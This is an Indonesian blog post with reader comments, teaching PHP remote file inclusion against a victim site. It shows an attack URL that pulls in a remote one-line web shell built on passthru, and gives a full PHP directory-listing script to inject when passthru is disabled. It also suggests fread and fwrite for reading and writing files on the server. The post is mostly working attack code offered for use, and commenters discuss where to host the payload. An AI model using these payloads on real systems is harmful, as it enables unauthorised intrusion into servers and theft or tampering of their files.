Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang sering dipergunakan dalam aksi ‘php injection’ adalah ‘ls -al’ untuk melihat isi direktori. Seperti misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt &?cmd=ls -al
Dimana isi dari http://www.situsku.com/cmd.txt adalah
// begin of cmd.txt
<? passthru($_GET[cmd]); ?>
// end of cmd.txt
Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari passthru di’disable’ oleh sang admin. Tentunya hal ini dilakukan oleh sang admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat script untuk melihat isi direktori.
Berikut script yang penulis modifikasi dari php manual:
// begining of list.txt
<?php
function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo “<br><br>Directory of $mydirectory “;
if($handle = opendir($mydirectory)) {
while (false !== ($file = readdir($handle))) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = ’s’;
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = ‘l’;
} elseif (($perms & 0×8000) == 0×8000) {
// Regular
$info = ‘-’;
} elseif (($perms & 0×6000) == 0×6000) {
// Block special
$info = ‘b’;
} elseif (($perms & 0×4000) == 0×4000) {
// Directory
$info = ‘d’;
if ($file != “.”) {
if ($file != “..”) {
$strdir[] = $mydirectory . $file;//preg_replace(’//./’,’/’,$file);
}
}
//return $strdir;
} elseif (($perms & 0×2000) == 0×2000) {
// Character special
$info = ‘c’;
} elseif (($perms & 0×1000) == 0×1000) {
// FIFO pipe
$info = ‘p’;
} else {
// Unknown
$info = ‘u’;
}
// Owner
$info .= (($perms & 0×0100) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0080) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0040) ?
(($perms & 0×0800) ? ’s’ : ‘x’ ) :
(($perms & 0×0800) ? ‘S’ : ‘-’));
// Group
$info .= (($perms & 0×0020) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0010) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0008) ?
(($perms & 0×0400) ? ’s’ : ‘x’ ) :
(($perms & 0×0400) ? ‘S’ : ‘-’));
// World
$info .= (($perms & 0×0004) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0002) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0001) ?
(($perms & 0×0200) ? ‘t’ : ‘x’ ) :
(($perms & 0×0200) ? ‘T’ : ‘-’));
$array_file_owner = posix_getpwuid(fileowner($file));
$array_file_group = posix_getgrgid(filegroup($file));
$info .= ” ” . $array_file_owner[’name’] . ” “;
$info .= $array_file_group[’name’] . ” “;
$info .= filesize($file) . ” “;
$info .= date(”M d Y”,filemtime($file)) . ” “;
$info .= $file;
echo “<br> $info”;
}
closedir($handle);
}
return $strdir;
} // end of function lookdir
$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(”.”);
?>
// end of list.txt
Saat kita coba inject dengan menggunakan list.txt, misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/list.txt
akan menghasilkan isi direktori berikut permissionnya.Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan menulis/membuat sebuah file.
Silahkan dikembangkan.
NB:Copast from NN






25 Januari 2008 pukul 6:28 AM |
ngeri tok………….wekekekekeke…………;-)
29 Januari 2008 pukul 9:29 AM |
Ohh gitu toh
Mas terus terang aja aku bacanya cuma pendahuluannya tok. Selebihnya gak mudeng.Trus klo emang bisa berarti bahaya dong mas artikelnya klo sampe jatuh ke tangan orang yang gak bener. Yo wis ntar aku coba ya mas ya. Cuman apa berarti aku harus punya situs sendri buat upload list.txt??Klo situsku berupa blog bisa ga? misalnya situsku.wordpress.com/list.txt Gitu??
Mohon pencerahannya.
Oh ya kalau ada cara buat liat list nya berarti ada cara buat nangkalnya juga dong? Bisa share ga?
30 Januari 2008 pukul 7:39 AM |
plg nggak punya hosting bwt naruh file injeknya…byk kok pnyedia jasa hosting yg gratis, tp ckplah bwt naruh file2 yg kyk gtuan…..
31 Januari 2008 pukul 7:05 AM |
mantaff, kurang rapih dikit
)
selamat mengembangkan
23 Juli 2008 pukul 11:30 PM |
is script don’t work anyway is stupid
31 Mei 2009 pukul 5:45 AM |
http://codeattack.wordpress.com/2006/07/20/tips-php-injection/
plagiat
3 Juni 2009 pukul 12:53 PM |
@plagiat:
khan distu ada sumbernya:
NB:Copast from NN
jd om lebik baik baca dlu sampai selesai ….